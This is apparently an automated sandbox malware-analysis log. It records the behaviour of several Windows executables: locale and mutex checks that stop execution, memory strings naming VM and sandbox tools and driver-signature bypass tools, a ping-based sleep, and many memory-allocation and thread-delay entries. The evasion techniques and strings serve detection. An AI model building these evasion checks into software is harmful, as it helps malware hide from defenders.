Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

graph_12-7527

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000400000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000400000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: RTP.EXESYSTEMROOT=SETFILETIMESIGNWRITINGSOFT_DOTTEDSYSTEMDRIVETTL EXPIREDUNINSTALLERVBOXSERVICEVMUSRVC.EXEVARIANTINITVIRTUALFREEVIRTUALLOCKWSARECVFROMWARANG_CITIWHITE_SPACEWINDEFENDER[:^XDIGIT:]\DSEFIX.EXEADDITIONALSALARM CLOCKAPPLICATIONASSISTQUEUEAUTHORITIESBAD ADDRESSBAD ARGSIZEBAD M VALUEBAD MESSAGEBAD TIMEDIVBITCOINS.SKBROKEN PIPECAMPAIGN_IDCGOCALL NILCLOBBERFREECLOSESOCKETCOMBASE.DLLCREATED BY CRYPT32.DLLE2.KEFF.ORGEMBEDDED/%SEXTERNAL IPFILE EXISTSFINAL TOKENFLOAT32NAN2FLOAT64NAN1FLOAT64NAN2FLOAT64NAN3GCCHECKMARKGENERALIZEDGET CDN: %WGETPEERNAMEGETSOCKNAMEGLOBALALLOCHTTP2CLIENTHTTP2SERVERHTTPS_PROXYI/O TIMEOUTLOCAL ERRORMSPANMANUALMETHODARGS(MINTRIGGER=MOVE %S: %WMSWSOCK.DLLNETPOLLINITNEXT SERVERNIL CONTEXTOPERA-PROXYORANNIS.COMOUT OF SYNCPARSE ERRORPROCESS: %SREFLECT.SETREFLECTOFFSRETRY-AFTERRUNTIME: P RUNTIME: G RUNTIME: P SCHEDDETAILSECHOST.DLLSECUR32.DLLSERVICE: %SSHELL32.DLLSHORT WRITESTACK TRACESTART PROXYTASKMGR.EXETLS: ALERT(TRACEALLOC(TRAFFIC UPDUNREACHABLEUSERENV.DLLVERSION.DLLVERSION=195WININET.DLLWUP_PROCESS (SENSITIVE) B (
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000400000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000400000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: TOO MANY LINKSTOO MANY USERSTORRC FILENAMEUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERUSERARENASTATEVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WINDOW CREATEDWORK.FULL != 0XENSERVICE.EXEZERO PARAMETER WITH GC PROG
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000400000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000400000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: ... OMITTING ACCEPT-CHARSETAFTER EFIGUARDALLOCFREETRACEBAD ALLOCCOUNTBAD RECORD MACBAD RESTART PCBAD SPAN STATEBTC.USEBSV.COMCERT INSTALLEDCHECKSUM ERRORCONTENT-LENGTHCOULDN'T PATCHDATA TRUNCATEDDISTRIBUTOR_IDDRIVER REMOVEDERROR RESPONSEFILE TOO LARGEFINALIZER WAITGCSTOPTHEWORLDGET UPTIME: %WGETPROTOBYNAMEGOT SYSTEM PIDINITIAL SERVERINTERNAL ERRORINVALID SYNTAXIS A DIRECTORYKEY SIZE WRONGLEVEL 2 HALTEDLEVEL 3 HALTEDMEMPROFILERATEMULTIPARTFILESNEED MORE DATANIL ELEM TYPE!NO MODULE DATANO SUCH DEVICEOPEN EVENT: %WPARSE CERT: %WPROTOCOL ERRORREAD CERTS: %WREAD_FRAME_EOFREFLECT.VALUE.REMOVE APP: %WRUNTIME: FULL=RUNTIME: WANT=S.ALLOCCOUNT= SEMAROOT QUEUESERVER.VERSIONSTACK OVERFLOWSTART TASK: %WSTOPM SPINNINGSTORE64 FAILEDSYNC.COND.WAITTEXT FILE BUSYTIME.LOCATION(TIMEENDPERIODTOO MANY LINKSTOO MANY USERSTORRC FILENAMEUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERUSERARENASTATEVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WINDOW CREATEDWORK.FULL != 0XENSERVICE.EXEZERO PARAMETER WITH GC PROG
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: RTP.EXESYSTEMROOT=SETFILETIMESIGNWRITINGSOFT_DOTTEDSYSTEMDRIVETTL EXPIREDUNINSTALLERVBOXSERVICEVMUSRVC.EXEVARIANTINITVIRTUALFREEVIRTUALLOCKWSARECVFROMWARANG_CITIWHITE_SPACEWINDEFENDER[:^XDIGIT:]\DSEFIX.EXEADDITIONALSALARM CLOCKAPPLICATIONASSISTQUEUEAUTHORITIES

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Memory allocated: 1EBAAD60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Memory allocated: 1EBC4770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 1600000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2FE0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 4FE0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 8630000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 9630000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 9800000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: A800000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: B2A0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: D260000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: E940000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599561
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599299
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599174
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599031
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598893
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598766
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598483
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598351
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598222
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 300000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598084
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597953
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597813
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597637
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597472
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597346
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597203
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597037
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596914
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596547
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596279
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596135
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595922
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595776
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595625
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595495
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595375
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594786
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594217
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 593922
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 593469
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 592990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 592563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 592250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 591656
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 591203
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 590125
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 588906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 588453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 587906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 585188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 584641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 584063
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 583359
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 582781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 582250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 581563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 581094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 580531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 580031
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 579375
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 578844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 578359
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 577797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 577109
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 576531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 576281
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 575797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 575406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 575015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 574734
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 574484
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 574188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 573904
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 573648
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 573358
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 572941
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 572634
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 572276
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 571901
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 571540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 571252
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 570621
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 569433
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 567786
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 567430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 567022
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 566808
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 566377
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 566059
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 565580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 565013
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 564318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 563781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 563375
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 562136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 561159
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 560511
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 559868
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 559543
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 559278
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 558825
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 558612
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 558271
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 557957
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 557511
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 557172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 556925
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 556480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 556177
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 555870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 555625
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 555435
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 555128
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 554852
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 554123
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 553836
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 553532
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 550943
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 550615
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 550254
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 549815
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 549593
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 549415
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 549082
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 548720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 548348
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 548105
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 547885
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 547686
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 547497
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 547279
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 547168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 547042
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 546933
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 546744
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 546608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 546423
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 546268
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 546085
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 545920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 545739
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 545568
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 545414
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 545280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 545163
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 545020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 544883
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 544717
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 544513
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 544311
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 544190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 544059
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 543855
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 543693
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 543545
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 543413
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 543228
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 543092
